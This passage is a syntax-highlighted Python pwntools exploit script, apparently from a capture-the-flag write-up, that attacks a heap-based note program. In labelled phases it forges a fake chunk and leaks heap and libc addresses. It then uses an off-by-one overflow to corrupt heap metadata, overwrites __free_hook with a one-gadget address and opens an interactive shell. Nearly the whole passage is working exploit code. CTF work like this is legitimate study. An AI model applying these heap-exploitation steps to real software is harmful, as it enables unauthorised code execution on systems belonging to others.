<span class="k">elif</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"ida"</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./linux_server64"</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">ENV</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"0.1..."</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"gdb"</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">BINARY</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">ENV</span><span class="p">)</span>
<span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">GDB</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"args: bin|net|crash|ida|gdb</span><span class="se">\n</span><span class="s">"</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">"0"</span><span class="p">):</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"0"</span><span class="p">)</span> <span class="c1">#binary
</span> <span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
<span class="k">print</span> <span class="s">" >> %d created"</span> <span class="o">%</span> <span class="n">idx</span>
<span class="k">def</span> <span class="nf">delete</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">b</span><span class="o">=</span><span class="s">"1"</span><span class="p">):</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="c1">#string
</span> <span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">print_one</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"5"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(</span><span class="bp">False</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"-----***-----"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span>
<span class="k">return</span> <span class="n">r</span>
<span class="k">def</span> <span class="nf">change_key</span><span class="p">(</span><span class="n">k</span><span class="p">):</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"7"</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">": "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"key: "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"wjigaep;r[jg]ahrg[es9hrg"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"crash"</span><span class="p">:</span> <span class="c1">#use offsets in dump to discover the libc version
</span> <span class="n">create</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">24</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">24</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="c1">### PHASE 1 - CRAFT FAKE CHUNCK ###
</span>
<span class="n">master_k</span> <span class="o">=</span> <span class="mh">0x06020A0</span>
<span class="n">fake_chunk_addr</span> <span class="o">=</span> <span class="n">master_k</span> <span class="o">-</span><span class="mi">8</span>
<span class="n">fake_chunk_from_size</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_chunk_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_chunk_addr</span><span class="p">)</span>
<span class="n">change_key</span><span class="p">(</span><span class="n">fake_chunk_from_size</span><span class="p">)</span>
<span class="k">print</span> <span class="s">" >> fake chunck addr: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">fake_chunk_addr</span><span class="p">)</span>
<span class="c1">### PHASE 2 - HEAP LEAK ###
</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">24</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mi">248</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">"BBB"</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">24</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="n">heap_leak</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x20</span><span class="s">"</span> <span class="o">+</span> <span class="n">print_one</span><span class="p">(</span><span class="mi">4</span><span class="p">)[</span><span class="mi">1</span><span class="p">:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">first_addr</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">heap_leak</span><span class="p">)</span>
<span class="k">print</span> <span class="s">" >> first addr: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">first_addr</span><span class="p">)</span>
<span class="n">second_addr</span> <span class="o">=</span> <span class="n">first_addr</span> <span class="o">+</span> <span class="mi">32</span>
<span class="c1">### PHASE 3 - PREPARE FAKE CHUNCK ###
</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">"AAAA"</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">""</span><span class="p">)</span> <span class="c1">#clear fake_chunk[0]
</span>
<span class="c1">### PHASE 4 - OFF BY ONE OVERFLOW ###
</span>
<span class="n">off</span> <span class="o">=</span> <span class="n">fake_chunk_addr</span> <span class="o">-</span> <span class="p">(</span><span class="n">second_addr</span> <span class="o">-</span><span class="mi">16</span><span class="p">)</span>
<span class="k">print</span> <span class="s">" >>> new prev_size: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="o">-</span><span class="n">off</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">"a"</span><span class="o">*</span><span class="mi">16</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="o">-</span><span class="n">off</span><span class="p">))</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="c1">#trigger
</span>
<span class="c1">### PHASE 5 - MALLOC RETURN FAKE_CHUNK + 16 ###
</span>
<span class="n">fake_chunk_from_size</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x100</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_chunk_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_chunk_addr</span><span class="p">)</span>
<span class="n">change_key</span><span class="p">(</span><span class="n">fake_chunk_from_size</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">248</span> <span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="n">forged</span> <span class="o">=</span> <span class="n">fake_chunk_addr</span> <span class="o">+</span> <span class="mi">16</span> <span class="c1">#now 3 is master_k+8
</span>
<span class="c1">### PHASE 5 - LIBC LEAK FROM ARENA ###
</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">print_one</span><span class="p">(</span><span class="mi">3</span><span class="p">)[:</span><span class="mi">8</span><span class="p">]</span>
<span class="n">libc_addr</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x3c4b0a</span>
<span class="k">print</span> <span class="s">" >> libc addr: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_addr</span><span class="p">)</span>
<span class="n">ptr_2</span> <span class="o">=</span> <span class="mh">0x00602068</span> <span class="o">+</span> <span class="p">(</span><span class="mi">2</span><span class="o">+</span><span class="mh">0xa</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span>
<span class="k">print</span> <span class="s">" >> ptr secret 2: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">ptr_2</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"libc6_2.23-0ubuntu10_amd64.so"</span><span class="p">)</span>
<span class="c1">### PHASE 6 - REWRITE POINTER WITH FREE_HOOK ###
</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s">"</span><span class="se">\0</span><span class="s">"</span><span class="o">*</span><span class="p">(</span><span class="n">ptr_2</span> <span class="o">-</span> <span class="n">forged</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_addr</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"__free_hook"</span><span class="p">]),</span> <span class="n">b</span><span class="o">=</span><span class="s">"0"</span><span class="p">)</span>
<span class="c1">### PHASE 7- WRITE THE ONE CALL GADGET ADDRESS IN FREE_HOOK ###
</span>
<span class="n">magic</span> <span class="o">=</span> <span class="n">libc_addr</span> <span class="o">+</span> <span class="mh">0x0000000004526a</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">magic</span><span class="p">),</span> <span class="n">b</span><span class="o">=</span><span class="s">"0"</span><span class="p">)</span>
<span class="c1">### PHASE 8 - PWN ###
</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span> <span class="c1">#WIN
</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>